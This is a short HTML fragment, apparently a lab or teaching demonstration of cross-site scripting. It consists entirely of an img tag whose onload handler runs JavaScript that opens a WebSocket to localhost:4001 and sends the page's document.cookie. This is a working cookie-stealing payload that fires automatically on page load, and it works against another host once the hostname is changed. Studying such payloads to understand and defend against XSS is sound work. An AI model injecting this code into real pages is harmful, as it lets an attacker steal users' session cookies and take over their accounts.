<img 
    style='width:10ch'
    src='https://web1.hszg.de/scheder-lehre/dominik-scheder.png' onload='let x = 1;

    function send_cookie_data() {
        let websocket_portnumber = 4001;
        let hostname = "localhost";
        console.log(`attemping to send the cookie data to a websocket at ws://${hostname}:${websocket_portnumber}`);

        socket = new WebSocket(`ws://${hostname}:${websocket_portnumber}`);
        socket.onopen = function (e) {
            socket.send(document.cookie);
        };
    }
    send_cookie_data(); 
        
'>